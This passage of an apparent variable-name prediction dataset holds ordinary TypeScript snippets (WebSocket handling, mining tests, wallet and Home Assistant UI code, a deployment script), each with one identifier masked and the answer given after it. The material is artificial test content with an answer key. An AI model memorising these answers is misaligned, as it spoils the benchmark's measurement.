                    this.logger.error('Error on ' + serverUrl + '.', error);
                }).bind(this);

                webSocket.onclose = (( [MASK] : CloseEvent) => {
                    this.logger.info('connection on ' + serverUrl + ' closed.',  [MASK] );
                    if (!connection.closedByUser && errorListener) {
                        errorListener.onError(new Error('Unxecpected connection close on ' + serverUrl));
                        reject( [MASK] );
                    }
                    webSocketBridgeCommunication.dispose();
                    connection.dispose();
                }).bind(this);
            }
        );
    }

    private ensureInitialized() {
        if (!this.initialized) {
            this.initialized = true;
        }
    }

    private isNodeApplication() {
        return typeof process === 'object' && process + '' === '[object process]' && typeof window === 'undefined';
    }
}
",closeEvent
425,"import { mineBlock, calculateBlockReward } from '../mining';
import { Block } from '../../types/block';
import { getLatestBlock } from '../chain';
import { isCoinbaseTransaction } from '../../transaction/coinbase';

// Mock wallet data for testing
const MOCK_MINER_ADDRESS = 'test-miner-address';
const MOCK_MINER_PUBLIC_KEY = 'test-miner-public-key';
const TEST_DIFFICULTY = 1; // Low difficulty for faster tests

describe('Mining with rewards', () => {
  test('calculateBlockReward should follow Bitcoin halving schedule', () => {
    // Genesis block height (0) should return 0 rewards
    expect(calculateBlockReward(0)).toBe(0);
    
    // First proper block should return full reward (50)
    expect(calculateBlockReward(1)).toBe(50);
    
    // Right before first halving
    expect(calculateBlockReward(209999)).toBe(50);
    
    // At first halving
    expect(calculateBlockReward(210000)).toBe(25);
    
    // At second halving
    expect(calculateBlockReward(420000)).toBe(12.5);
    
    // At third halving
    expect(calculateBlockReward(630000)).toBe(6.25);
  });

  test('mineBlock should include a coinbase transaction with correct rewards', async () => {
    // Get latest (genesis) block for testing
    const latestBlock = getLatestBlock();
    const newIndex = latestBlock.index + 1;
    const minerData = 'Test mining reward';
    
    // Mine a new block
    const minedBlock = mineBlock(
      newIndex,
      latestBlock,
      [], // No regular transactions
      TEST_DIFFICULTY,
      MOCK_MINER_ADDRESS,
      MOCK_MINER_PUBLIC_KEY,
      minerData
    );
    
    // Check block structure
    expect(minedBlock).toBeDefined();
    expect(minedBlock.index).toBe(newIndex);
    expect(minedBlock.previousHash).toBe(latestBlock.hash);
    expect(minedBlock.difficulty).toBe(TEST_DIFFICULTY);
    
    // Check that transactions include a coinbase transaction
    expect(minedBlock.transactions.length).toBe(1); // Should only have coinbase tx
    
    // Check the coinbase transaction
    const tx = minedBlock.transactions[0];
    expect(isCoinbaseTransaction(tx)).toBe(true);
    
    if (isCoinbaseTransaction(tx)) {
      // Verify block height in coinbase txIn
      expect(tx.txIn.blockHeight).toBe(newIndex);
      
      // Verify reward amount
      const expectedReward = calculateBlockReward(newIndex);
      expect(tx.txOut.amount).toBe(expectedReward);
      
      // Verify recipient address
      expect(tx.txOut.address).toBe(MOCK_MINER_ADDRESS);
      
      // Verify the miner data is included
      expect(tx.txIn.data).toContain(minerData);
    }
  });

  test('mineBlock should include multiple transactions plus coinbase', async () => {
    // Get latest block for testing
    const latestBlock = getLatestBlock();
    const newIndex = latestBlock.index + 1;
    
    // Create some mock regular transactions
    const mockTransactions = [
      { id: 'tx1', type: 'regular', timestamp: Date.now() },
      { id: 'tx2', type: 'regular', timestamp: Date.now() }
    ] as any[];
    
    // Mine a new block with the mock transactions
    const minedBlock = mineBlock(
      newIndex,
      latestBlock,
      mockTransactions,
      TEST_DIFFICULTY,
      MOCK_MINER_ADDRESS,
      MOCK_MINER_PUBLIC_KEY
    );
    
    // Should have coinbase + regular transactions
    expect(minedBlock.transactions.length).toBe(mockTransactions.length + 1);
    
    // First transaction should be coinbase
    const  [MASK]  = minedBlock.transactions[0];
    expect(isCoinbaseTransaction( [MASK] )).toBe(true);
    
    // Check other transactions
    for (let i = 0; i < mockTransactions.length; i++) {
      // Use non-null assertion since we've verified the lengths match
      expect(minedBlock.transactions[i + 1]!.id).toBe(mockTransactions[i].id);
    }
  });
}); ",firstTx
426,"/**
 * @fileoverview Checks for cda tracking codes
 */

import { HintContext } from 'hint/dist/src/lib/hint-context';
// The list of types depends on the events you want to capture.
import { IHint, ElementFound } from 'hint/dist/src/lib/types';
import { debug as d } from 'hint/dist/src/lib/utils/debug';

import meta from './meta/cda';

const debug: debug.IDebugger = d(__filename);

const trackingDomains = ['docs.microsoft.com', 'azure.microsoft.com'];

/*
 * ------------------------------------------------------------------------------
 * Public
 * ------------------------------------------------------------------------------
 */

export default class CdaHint implements IHint {

    public static readonly meta = meta;

    public constructor(context: HintContext) {
        debug('yep!');
        // Your code here.
        const  [MASK]  = async (elementFound: ElementFound) => {
            debug('starting test');

            // Code to validate the hint on the event when an element is visited.

            const { resource } = elementFound;

            const href = elementFound.element.getAttribute('href');

            if (href) {
                const url = new URL(href.toLowerCase());

                if (trackingDomains.find((domain) => url.host === domain)) {
                    if (url.searchParams.get('wt.mc_id')) {
                        debug('link fine');
                    } else {
                        await context.report(resource, `Link ""${href}"" is missing tracking code`);
                    }
                }
            }
        };

        context.on('element::a',  [MASK] );
        // As many events as you need
    }
}
",validateElement
427,"import { abi, address } from ""@/utils/contract/articles"";
import { ethers } from ""ethers"";
import { defineStore } from 'pinia';

const KEY = 'LAST_ACTIVE_ACCOUNT';
const provider = new ethers.providers.Web3Provider(window.ethereum);
/**
 * 模型平台页面
 */
const useWallet = defineStore({
  id: 'wallet',
  state: () => ({
    list: [
      {
        name:'article 0',
        verify: false
      },
      {
        name:'article 1',
        verify: false
      },
      {
        name:'article 2',
        verify: false
      },
      {
        name:'article 3',
        verify: false
      },
      {
        name:'article 4',
        verify: false
      },
      {
        name:'article 5',
        verify: false
      },
      {
        name:'article 6',
        verify: false
      },
      {
        name:'article 7',
        verify: false
      }
    ],
    address: <string|null>null
  }),
  getters: {
    /**
     * 展位介绍
     */
    account():any {
      if(!this.address) {
        this.address = window.localStorage.getItem(KEY);
      }
      return this.address;
    },
    /**
     * 文章审核列表
     */
    articles():any {
      return this.list;
    }
  },
  actions: {
    /**
     * 链接
     */
    connect() {
      provider?.send(""eth_requestAccounts"", []).then(res => {
        this.address = res[0];
        window.localStorage.setItem(KEY, res[0]);
        this.refreshArticle();
      }).catch(err => {
        console.log(err);
      });
    },
    disconnect() {
      this.address = '';
      window.localStorage.removeItem(KEY);
    },
    refreshArticle() {
      const contract = new ethers.Contract(address, abi, provider.getSigner());
      contract.getArticles().then(( [MASK] :string[]) => {
        for(const key in  [MASK] ) {
          if( [MASK] [key] !== '0x0000000000000000000000000000000000000000') {
            this.list[key].verify = true;
          }
        }
      });
    },
    verify(id:number) {
      const contract = new ethers.Contract(address, abi, provider.getSigner());
      contract.verify(id).then((res:any) => {
        this.refreshArticle();
      });
    }
  }
});
export default useWallet;",arr
428,"import packageInfo from '../package.json';

import { LitElement, TemplateResult, css, html } from 'lit';
import { property } from 'lit/decorators.js';
import { StyleInfo, styleMap } from 'lit/directives/style-map.js';

import { HomeAssistant } from 'custom-card-helpers';
import { renderTemplate } from 'ha-nunjucks';
import { load } from 'js-yaml';

import {
	ActionTypes,
	DirectionAction,
	IAction,
	IActions,
	IConfig,
	IData,
	IElementConfig,
	Platform,
	defaultKeys,
	defaultSources,
	svg,
} from './models';

import './classes/keyboard-dialog';
import './classes/remote-button';
import './classes/remote-slider';
import './classes/remote-touchpad';

console.info(
	`%c ANDROID-TV-CARD v${packageInfo.version}`,
	'color: white; font-weight: bold; background: green',
);

class AndroidTVCard extends LitElement {
	@property() hass!: HomeAssistant;
	@property() config!: IConfig;

	defaultActions: Record<string, IElementConfig> = {};
	customActions: Record<string, IElementConfig> = {};
	icons: Record<string, string> = {};

	nRows: number = 0;
	nColumns: number = 0;

	static get properties() {
		return {
			hass: {},
			config: {},
		};
	}

	static getStubConfig() {
		return {
			type: 'custom:android-tv-card',
			rows: [],
		};
	}

	getCardSize() {
		let numRows = this.config.rows?.length ?? 0;
		if (this.config.title) {
			numRows += 1;
		}
		return numRows;
	}

	async setConfig(config: IConfig) {
		if (!config) {
			throw new Error('Invalid configuration');
		}
		config = structuredClone(config);
		config = this.setToggles(config);
		config = this.updateDeprecatedKeys(config);

		this.defaultActions = {
			...structuredClone(defaultSources),
			...structuredClone(defaultKeys),
		};
		this.customActions = config.custom_actions || {};

		this.customActions.slider = {
			...this.defaultActions.slider,
			...this.customActions.slider,
		};
		if (config.slider_id) {
			this.customActions.slider.tap_action!.data!.entity_id =
				config.slider_id;
		}

		this.icons = {
			...structuredClone(svg),
			...config.custom_icons,
		};

		this.config = config;
	}

	updateDeprecatedKeys(config: IConfig) {
		// Convert old root level key names to new
		if ('adb_id' in config) {
			config.keyboard_id = (config as Record<string, string>).adb_id;
		}
		if ('keyboard_mode' in config) {
			config.platform = (config as Record<string, string>)
				.keyboard_mode as Platform;
		}
		if (config.media_player_id && !config.slider_id) {
			config.slider_id = config.media_player_id;
		}
		if ('touchpad_height' in config) {
			const style = config.touchpad_style ?? {};
			if (!style.height) {
				style.height = (
					config as Record<string, string>
				).touchpad_height;
			}
			config.touchpad_style = style;
		}

		// Old haptic feedback toggle names
		if ('enable_button_feedback' in config) {
			config.button_haptics = (
				config as Record<string, boolean>
			).enable_button_feedback;
		}
		if ('enable_touchpad_feedback' in config) {
			config.touchpad_haptics = (
				config as Record<string, boolean>
			).enable_touchpad_feedback;
		}

		// Convert old _row keys into rows array
		if (!config.rows) {
			const rows: string[][] = [];
			const rowNames = Object.keys(config).filter((row) =>
				row.includes('_row'),
			);
			for (const name of rowNames) {
				let row = (config as Record<string, string[]>)[name];
				if (typeof row == 'string') {
					row = [row];
				}
				if (name == 'volume_row') {
					row = ['volume_' + row[0]];
				} else if (name == 'navigation_row') {
					row = ['navigation_' + row[0]];
				}
				rows.push(row);
			}
			config.rows = rows;
		}

		// Combine custom actions, custom keys, and custom sources fields
		config.custom_actions = {
			...config.custom_actions,
			...config['custom_keys' as 'custom_actions'],
			...config['custom_sources' as 'custom_actions'],
		} as Record<string, IActions>;

		const customActions = config.custom_actions;

		// For each custom key or source
		for (const customActionName in customActions) {
			const customAction = customActions[customActionName];

			// Copy svg_path to icon
			if ('svg_path' in customAction) {
				customAction.icon = customAction.svg_path as string;
			}

			// Copy action fields to tap_action
			const actionKeys = [
				'key',
				'source',
				'service',
				'service_data',
				'data',
				'target',
				'navigation_path',
				'navigation_replace',
				'url_path',
				'confirmation',
				'pipeline_id',
				'start_listening',
			];
			const tapAction = customAction.tap_action ?? ({} as IAction);
			let updateTapAction = false;
			for (const actionKey of actionKeys) {
				if (actionKey in customAction) {
					updateTapAction = true;
					(tapAction as unknown as Record<string, string>)[
						actionKey
					] = customAction[
						actionKey as keyof IElementConfig
					] as string;
				}
			}
			if (updateTapAction) {
				customAction.tap_action = tapAction as IAction;
			}

			// Copy slider fields
			if (customActionName == 'slider') {
				if ('slider_style' in config) {
					customAction.style = config.slider_style as StyleInfo;
				}
				if ('slider_range' in config) {
					customAction.range = config.slider_range as [
						number,
						number,
					];
				}
				if ('slider_step' in config) {
					customAction.step = config.slider_step as number;
				}
				if ('slider_attribute' in config) {
					customAction.value_attribute =
						config.slider_attribute as string;
				}

				if ('enable_slider_feedback' in config) {
					customAction.haptics =
						config.enable_slider_feedback as boolean;
				}
			}

			// For each type of action
			for (const actionType of ActionTypes) {
				if (customAction[actionType]) {
					const action = customAction[actionType] as IAction;

					// Populate action field
					if (!customAction.template && !action.action) {
						if (action.key) {
							action.action = 'key';
						} else if (action.source) {
							action.action = 'source';
						} else if (action.service) {
							action.action = 'call-service';
						} else if (action.navigation_path) {
							action.action = 'navigate';
						} else if (action.url_path) {
							action.action = 'url';
						} else if (action.browser_mod) {
							action.action = 'fire-dom-event';
						} else if (
							action.pipeline_id ||
							action.start_listening
						) {
							action.action = 'assist';
						} else if (action.keyboard_id) {
							action.action = 'keyboard';
						} else {
							action.action = 'none';
						}
					}

					// Merge service_data, target, and data fields
					if (
						['data', 'target', 'service_data'].some(
							(key) => action[key as keyof IAction],
						)
					) {
						action.data = {
							...action.data,
							...(
								action as unknown as Record<
									string,
									IData | undefined
								>
							).service_data,
							...action.target,
						};
					}
				}
			}
		}
		return config;
	}

	setToggles(config: IConfig): IConfig {
		// Set toggles to default values if not provided
		const toggles: Record<string, boolean> = {
			button_haptics: true,
			touchpad_haptics: true,

			// Deprecated toggle names
			enable_button_feedback: true,
			enable_touchpad_feedback: true,
			enable_double_click: false,
			enable_slider_feedback: true,
		};
		for (const toggle in toggles) {
			if (!(toggle in config)) {
				(config as Record<string, boolean>)[toggle] = toggles[toggle];
			}
		}
		return config;
	}

	getElementConfig(action: string): IElementConfig {
		const defaultActions = this.defaultActions[action] || {};
		let actions = structuredClone(
			this.customActions[action] || defaultActions,
		);

		// Apply template if defined
		if (actions.template) {
			const defaultTemplateActions =
				this.defaultActions[actions.template] || {};
			const customTemplateActions =
				this.customActions[actions.template] || defaultTemplateActions;
			actions = this.mergeDeep(
				structuredClone(customTemplateActions),
				actions,
			);
		}

		// Get default icon if not redefined
		if (!actions.icon && defaultActions.icon) {
			actions.icon = defaultActions?.icon;
		}

		// Get original actions if not defined.
		for (const actionType of ActionTypes) {
			if (!actions[actionType] && defaultActions[actionType]) {
				actions[actionType] = defaultActions[actionType];
			}
			if (actions[actionType]) {
				const action = actions[actionType] ?? ({} as IAction);

				action.platform = action.platform ?? this.config.platform;
				switch (action.platform?.toUpperCase()) {
					case 'KODI':
					case 'ROKU':
						break;
					case 'FIRE' as Platform:
					case 'FIRETV' as Platform:
					case 'FIRE_TV' as Platform:
					case 'FIRE TV':
						action.platform = 'FIRE TV';
						break;
					case 'ANDROID' as Platform:
					case 'ANDROIDTV' as Platform:
					case 'ANDROID_TV' as Platform:
					case 'ANDROID TV':
					default:
						action.platform = 'ANDROID TV';
						break;
				}

				action.keyboard_id =
					action.keyboard_id ?? this.config.keyboard_id;
				action.media_player_id =
					action.media_player_id ?? this.config.media_player_id;
				action.remote_id = action.remote_id ?? this.config.remote_id;
				actions[actionType] = action;
			}
		}

		// Set hold time if defined globally
		if (this.config.hold_time) {
			if (actions.hold_action && !actions.hold_action?.hold_time) {
				actions.hold_action.hold_time = this.config.hold_time;
			}
			if (
				actions.multi_hold_action &&
				!actions.multi_hold_action?.hold_time
			) {
				actions.multi_hold_action.hold_time = this.config.hold_time;
			}
		}

		// Set repeat delay if defined globally
		if (this.config.repeat_delay) {
			if (
				actions.hold_action &&
				actions.hold_action?.action == 'repeat' &&
				!actions.hold_action.repeat_delay
			) {
				actions.hold_action.repeat_delay = this.config.repeat_delay;
			}
			if (
				actions.multi_hold_action &&
				actions.multi_hold_action?.action == 'repeat' &&
				!actions.multi_hold_action.repeat_delay
			) {
				actions.multi_hold_action.repeat_delay =
					this.config.repeat_delay;
			}
		}

		// Set double tap window if defined globally
		if (this.config.double_tap_window) {
			if (
				actions.double_tap_action &&
				!actions.double_tap_action.double_tap_window
			) {
				actions.double_tap_action.double_tap_window =
					this.config.double_tap_window;
			}
			if (
				actions.multi_double_tap_action &&
				!actions.multi_double_tap_action.double_tap_window
			) {
				actions.multi_double_tap_action.double_tap_window =
					this.config.double_tap_window;
			}
		}

		return actions;
	}

	mergeDeep(target: object, ...sources: [object]): object {
		function isObject(item: object) {
			return item && typeof item === 'object' && !Array.isArray(item);
		}

		if (!sources.length) {
			return target;
		}
		const source: object = sources.shift() as object;

		if (isObject(target) && isObject(source)) {
			for (const key in source) {
				if (isObject(source[key as keyof object])) {
					if (!target[key as keyof object])
						Object.assign(target, { [key]: {} });
					this.mergeDeep(
						target[key as keyof object],
						source[key as keyof object],
					);
				} else {
					Object.assign(target, {
						[key]: source[key as keyof object],
					});
				}
			}
		}

		return this.mergeDeep(target, ...sources);
	}

	buildStyle(_style: StyleInfo = {}, context?: object) {
		const style = structuredClone(_style);
		for (const key in style) {
			style[key] = renderTemplate(
				this.hass,
				style[key] as string,
				context,
			) as string;
		}
		return style;
	}

	buildRow(content: TemplateResult[], context: object): TemplateResult {
		this.nRows++;
		const id = `row-${this.nRows}`;
		const style = styleMap(
			this.buildStyle(
				{
					...this.config.row_styles?.rows,
					...this.config.row_styles?.[id],
				},
				context,
			),
		);
		return html`
			<div class=""row"" id=""${id}"" style=${style}>${content}</div>
		`;
	}

	buildColumn(content: TemplateResult[], context: object): TemplateResult {
		this.nColumns++;
		const id = `column-${this.nColumns}`;
		const style = styleMap(
			this.buildStyle(
				{
					...this.config.row_styles?.columns,
					...this.config.row_styles?.[id],
				},
				context,
			),
		);
		return html`
			<div class=""column"" id=""${id}"" style=${style}>${content}</div>
		`;
	}

	buildButton(elementName: string, context: object): TemplateResult {
		const actions = this.getElementConfig(elementName);

		const style = {
			...this.config.button_style,
			...actions.style,
		};

		if (!Object.keys(actions).length) {
			return html`<div
				class=""empty-button""
				style=${styleMap({
					'--size': renderTemplate(
						this.hass,
						style['--size'] as string,
						context,
					) as string,
				})}
			></div>`;
		}

		actions.style = style;
		if (!('haptics' in actions)) {
			actions.haptics = this.config.button_haptics;
		}

		return html`<remote-button
			title=""${elementName}""
			.hass=${this.hass}
			.autofillEntityId=${this.config.autofill_entity_id}
			.config=${actions}
			.icons=${this.icons}
		/>`;
	}

	buildVolumeButtons(context: object): TemplateResult[] {
		return [
			this.buildButton('volume_down', context),
			this.buildButton('volume_mute', context),
			this.buildButton('volume_up', context),
		];
	}

	buildSlider(): TemplateResult {
		return html`<remote-slider
			.hass=${this.hass}
			.config=${this.getElementConfig('slider')}
		/>`;
	}

	buildNavButtons(context: object): TemplateResult {
		return this.buildColumn(
			[
				this.buildRow([this.buildButton('up', context)], context),
				this.buildRow(
					[
						this.buildButton('left', context),
						this.buildButton('center', context),
						this.buildButton('right', context),
					],
					context,
				),
				this.buildRow([this.buildButton('down', context)], context),
			],
			context,
		);
	}

	buildPad(buttons: string[], context: object): TemplateResult {
		return html`
			<div class=""button-pad"">
				${buttons.map((b) => this.buildButton(b, context))}
			</div>
		`;
	}

	buildTouchpad(context: object): TemplateResult {
		// If still using old double tap toggle and key, map to center double tap action
		const centerActions = this.getElementConfig('center');
		if (
			renderTemplate(
				this.hass,
				(this.config as Record<string, string>).enable_double_click,
				context,
			) &&
			!centerActions.double_tap_action
		) {
			const doubleTapKeycode =
				(renderTemplate(
					this.hass,
					(this.config as Record<string, string>)
						.double_click_keycode,
					context,
				) as string) ?? 'back';
			const doubleTapAction = this.getElementConfig(doubleTapKeycode);
			centerActions.double_tap_action = doubleTapAction.tap_action;
		}
		centerActions.haptics = this.config.touchpad_haptics;
		centerActions.style = this.config.touchpad_style;

		// If still using old long click key, map to center hold action
		if (
			renderTemplate(
				this.hass,
				(this.config as Record<string, string>).long_click_keycode,
				context,
			) &&
			!centerActions.hold_action
		) {
			const holdActionKeycode =
				(renderTemplate(
					this.hass,
					(this.config as Record<string, string>).long_click_keycode,
					context,
				) as string) ?? 'center';
			const holdAction = this.getElementConfig(holdActionKeycode);
			centerActions.hold_action = holdAction.tap_action;
		}

		const directionActions: Record<DirectionAction, IActions> = {
			up: this.getElementConfig('up'),
			down: this.getElementConfig('down'),
			left: this.getElementConfig('left'),
			right: this.getElementConfig('right'),
		};

		return html`<remote-touchpad
			.hass=${this.hass}
			.autofillEntityId=${this.config.autofill_entity_id}
			.config=${centerActions}
			.directionActions=${directionActions}
		/>`;
	}

	buildElements(
		row: (string | string[])[],
		 [MASK] : boolean = false,
		context: object = {},
	) {
		if (typeof row == 'string') {
			row = [row];
		}
		const rowContent: TemplateResult[] = [];
		for (let elementName of row) {
			elementName = renderTemplate(
				this.hass,
				elementName as string,
				context,
			) as string;
			if (typeof elementName == 'string' && elementName.includes('- ')) {
				elementName = load(elementName) as string;
			}
			if (typeof elementName == 'object' && elementName != null) {
				rowContent.push(
					this.buildElements(elementName, ! [MASK] , context),
				);
			} else {
				switch (elementName) {
					case 'vol_buttons':
					case 'volume_buttons': {
						const volumeButtons = this.buildVolumeButtons(context);
						if ( [MASK] ) {
							volumeButtons.reverse();
						}
						rowContent.push(...volumeButtons);
						break;
					}
					case 'slider':
					case 'volume_slider': {
						rowContent.push(this.buildSlider());
						break;
					}
					case 'nav_buttons':
					case 'navigation_buttons': {
						rowContent.push(this.buildNavButtons(context));
						break;
					}
					case 'dpad':
					case 'd_pad':
					case 'direction_pad': {
						rowContent.push(
							this.buildPad(
								[
									'',
									'up',
									'',
									'left',
									'center',
									'right',
									'',
									'down',
									'',
								],
								context,
							),
						);
						break;
					}
					case 'numpad':
					case 'num_pad':
					case 'number_pad': {
						rowContent.push(
							this.buildPad(
								[
									'n7',
									'n8',
									'n9',
									'n4',
									'n5',
									'n6',
									'n1',
									'n2',
									'n3',
								],
								context,
							),
						);
						break;
					}
					case 'xpad':
					case 'x_pad':
					case 'gamepad':
					case 'xgamepad':
					case 'x_gamepad':
						rowContent.push(
							this.buildPad(
								['', 'y', '', 'x', '', 'b', '', 'a', ''],
								context,
							),
						);
						break;
					case 'npad':
					case 'n_pad':
					case 'ngamepad':
					case 'n_gamepad':
						rowContent.push(
							this.buildPad(
								['', 'x', '', 'y', '', 'a', '', 'b', ''],
								context,
							),
						);
						break;
					case 'touchpad':
					case 'nav_touchpad':
					case 'navigation_touchpad': {
						rowContent.push(this.buildTouchpad(context));
						break;
					}

					default: {
						rowContent.push(this.buildButton(elementName, context));
						break;
					}
				}
			}
		}
		return  [MASK] 
			? this.buildColumn(rowContent, context)
			: this.buildRow(rowContent, context);
	}

	buildDialog() {
		return html`<keyboard-dialog .hass=${this.hass} />`;
	}

	openKeyboardDialog() {}

	render() {
		if (!this.config || !this.hass) {
			return html``;
		}

		const context = {
			config: {
				...this.config,
				entity: renderTemplate(
					this.hass,
					this.config.remote_id ??
						this.config.media_player_id ??
						this.config.keyboard_id ??
						this.config.slider_id ??
						'',
				),
			},
		};

		const content: TemplateResult[] = [];

		this.nRows = 0;
		this.nColumns = 0;
		for (const row of this.config.rows ?? []) {
			const rowContent = this.buildElements(
				row as string[],
				false,
				context,
			);
			content.push(rowContent);
		}

		return html`<ha-card
			@keyboard-dialog-open=${this.openKeyboardDialog}
			.header=""${renderTemplate(
				this.hass,
				this.config.title as string,
				context,
			)}""
			>${content}${this.buildDialog()}</ha-card
		>`;
	}

	static get styles() {
		return css`
			ha-card {
				padding: 12px;

				-webkit-tap-highlight-color: transparent;
				-webkit-tap-highlight-color: rgba(0, 0, 0, 0);
				--md-ripple-hover-opacity: var(--ha-ripple-hover-opacity, 0.08);
				--md-ripple-pressed-opacity: var(
					--ha-ripple-pressed-opacity,
					0.12
				);
				--ha-ripple-color: var(--secondary-text-color);
				--mdc-ripple-hover-color: var(
					--ha-ripple-hover-color,
					var(--ha-ripple-color, var(--secondary-text-color))
				);
				--md-ripple-pressed-color: var(
					--ha-ripple-pressed-color,
					var(--ha-ripple-color, var(--secondary-text-color))
				);
			}

			.row {
				display: flex;
				flex-wrap: nowrap;
				flex-direction: row;
				width: -moz-available;
				width: -webkit-fill-available;
				width: fill-available;
				flex: 1;
				padding: 4px;
				gap: 8px;
				justify-content: space-evenly;
				align-items: center;
			}
			.column {
				display: flex;
				flex-wrap: nowrap;
				flex-direction: column;
				width: -moz-available;
				width: -webkit-fill-available;
				width: fill-available;
				flex: 1;
				padding: 4px;
				justify-content: space-evenly;
				align-items: center;
			}
			.empty-button {
				width: var(--size, 48px);
				height: var(--size, 48px);
				position: relative;
			}
			.button-pad {
				display: grid;
				grid-template-rows: repeat(3, var(--size, 48px));
				grid-template-columns: repeat(3, var(--size, 48px));
				grid-gap: 8px 16px;
			}
		`;
	}
}

customElements.define('android-tv-card', AndroidTVCard); // To not break old configs

window.customCards = window.customCards || [];
window.customCards.push({
	type: 'android-tv-card',
	name: 'Android TV Card',
	description: 'Super customizable universal remote card',
});

if (!window.structuredClone) {
	window.structuredClone = (obj) => JSON.parse(JSON.stringify(obj));
}
if (!window.performance) {
	window.performance = window.Date as unknown as Performance;
}
",isColumn
429,"import { bnToBn, calcSi, formatDecimal, isBoolean } from '@polkadot/util';
import { SiDef, ToBn } from '@polkadot/util/types';
import { SI, SI_MID } from '@polkadot/util/format/si';
import { BN } from '@polkadot/util/bn';
import React from 'react';

import { stripNonDigits } from '../../utils';

const defaultDecimals = 9;

interface Options {
  precision?: number;
  decimals?: number;
  forceUnit?: string;
  withSi?: boolean;
  withSiFull?: boolean;
  withUnit?: boolean | string;
  withSeparators?: boolean;
}

// for million, 2 * 3-grouping + comma
const M_LENGTH = 6 + 1;
const K_LENGTH = 3 + 1;

function getUnits(si: SiDef, withSi: boolean, withSiFull: boolean, withUnit: boolean | string): string {
  const unit = isBoolean(withUnit)
    ? SI[SI_MID].text
    : withUnit;

  return withSi || withSiFull
    ? si.value === '-'
      ? withUnit
        ? ` ${unit}`
        : ''
      : ` ${withSiFull ? `${si.text}${withUnit ? ' ' : ''}` : si.value}${withUnit ? unit : ''}`
    : '';
}


function getPrePost(text: string, decimals: number, forceUnit?: string, precision = 4): [SiDef, string, string] {
  // NOTE We start at midpoint (8) minus 1 - this means that values display as
  // 123.456 instead of 0.123k (so always 6 relevant). Additionally we use ceil
  // so there are at most 3 decimal before the decimal separator
  const si = calcSi(text, decimals, forceUnit);
  const mid = text.length - (decimals + si.power);
  const prefix = text.substring(0, mid);
  const padding = mid < 0 ? 0 - mid : 0;
  const padded = new Array(padding + 1).join('0')
  const post = `${padded}${text}`.substring(mid < 0 ? 0 : mid);
  const precisionpad = new Array(precision + 1).join('0')
  const postfix = `${post}${precisionpad}`.substring(0, precision);

  return [si, prefix || '0', postfix];
}

// Formats a string/number with <prefix>.<postfix><type> notation
export function formatBalance<ExtToBn extends ToBn>(input?: number | string | bigint | ExtToBn | BN, options: Options | boolean = true, optDecimals: number = defaultDecimals): string {
  let text = bnToBn(input).toString();

  if (text.length === 0 || text === '0') {
    return '0';
  }

  // extract options - the boolean case is for backwards-compat
  const { decimals = optDecimals, forceUnit = undefined, precision = 2, withSi = true, withSiFull = false, withUnit = true, withSeparators = true } = isBoolean(options)
    ? { withSi: options }
    : options;

  // strip the negative sign so we can work with clean groupings, re-add this in the
  // end when we return the result (from here on we work with positive numbers)
  let sign = '';

  if (text[0].startsWith('-')) {
    sign = '-';
    text = text.substring(1);
  }

  const [si, prefix, postfix] = getPrePost(text, decimals, forceUnit, precision);

  const  [MASK]  = getUnits(si, withSi, withSiFull, withUnit);
  const formattedPrefix = withSeparators ? formatDecimal(prefix) : prefix;

  return `${sign}${formattedPrefix}${postfix ? '.' : ''}${postfix}${ [MASK] }`;
}

function createElement(
  prefix: string,
  postfix: string,
  unit: string,
  label: string | React.ReactNode,
  isShort = false
): React.ReactNode {
  const hasDecimal = !isShort && !!postfix;
  return `${prefix}${hasDecimal ? '.' : ''}${postfix && !isShort ? postfix : ''} ${unit} ${label}`
}

export function applyFormat(
  value:  string | BN,
  denomination = 9,
  symbol = 'XX',
  withCurrency = true,
  withSi = false,
  _isShort = false,
  labelPost: string | React.ReactNode = '',
  precision = 2
): React.ReactNode {
  const stripped = stripNonDigits(value);
  const [prefix, postfix] = formatBalance(stripped, {
    decimals: denomination,
    forceUnit: '-',
    precision,
    withSi: false
  }).split('.');
  const isShort = _isShort || (withSi && prefix.length >= K_LENGTH);
  const unitPost = withCurrency ? symbol : '';

  if (prefix.length > M_LENGTH) {
    const formatted = formatBalance(stripped, {
      decimals: denomination,
      precision,
      withUnit: false
    });
    const divider = formatted.includes('.') ? '.' : ' ';
    const [major, rest] = formatted.split(divider);
    const [minor, unit] = rest.includes(' ') ? rest.split(' ') : [, rest];

    return `${major}${minor ? '.' : ''} ${unit} ${unit ? unitPost : ` ${unitPost}`} ${labelPost}`;
  }

  return createElement(prefix, postfix, unitPost, labelPost, isShort);
}",units
430,"import { ethers } from 'hardhat';

import * as deploy from '../src/deploy';

async function main() {
  if ((await ethers.provider.getCode(deploy.CREATE2_FACTORY_ADDRESS)) === '0x') {
    throw new Error(
      `CREATE2 factory at ${deploy.CREATE2_FACTORY_ADDRESS} is not deployed. Please refer to https://github.com/Arachnid/deterministic-deployment-proxy/`
    );
  }
  const proxyAddress = process.env.PROXY_ADDRESS;
  if (!proxyAddress) {
    throw new Error('Environment variable PROXY_ADDRESS is not defined');
  }
  const  [MASK]  = deploy.getDeterministicDeploymentAddress(proxyAddress);
  if ((await ethers.provider.getCode( [MASK] )) === '0x') {
    const [deployer] = await ethers.getSigners();
    const receipt = await deployer!.sendTransaction({
      to: deploy.CREATE2_FACTORY_ADDRESS,
      data: ethers.concat([deploy.SALT, deploy.getInitcode(proxyAddress)]),
    });
    await new Promise<void>((resolve) =>
      ethers.provider.once(receipt.hash, () => {
        resolve();
      })
    );
    console.log(
      `Api3PartialAggregatorV2V3Interface for ${proxyAddress} is deployed at ${ [MASK] } of ${hre.network.name}`
    );
  } else {
    console.log(
      `Api3PartialAggregatorV2V3Interface for ${proxyAddress} was already deployed at ${ [MASK] } of ${hre.network.name}`
    );
  }
}

/* eslint-disable */
main()
  .then(() => process.exit(0))
  .catch((error) => {
    console.log(error);
    process.exit(1);
  });
",api3PartialAggregatorV2V3InterfaceAddress
431,"import express, { Request, Response, NextFunction } from ""express""
import bodyParser from ""body-parser""
import knex from ""knex""

import {
  User,
  Group,
  Session,
  requireLogin,
  requireSession,
  requireAnyGroup,
  requireAllGroups,
  requireCondition,
  UserInvalidError,
  UserAuthenticationError,
  SessionInvalidError,
  SessionExpiredError,
  RequestWithIdentity,
  GroupNotAMemberError,
  GroupHasMemberError,
  SessionRenewalError,
  Identity,
} from ""../src/index""

const app = express()
app.use(bodyParser.json())

const db = knex({
  client: ""mysql2"",
  connection: {
    user: ""test"",
    password: ""<PASSWORD>"",
    host: ""127.0.0.1"",
    port: 3306,
    database: ""users_test"",
  },
})

let identity = new Identity(db)

async function init() {
  identity.user.schema.build()
  identity.group.schema.build()
  identity.session.schema.build()

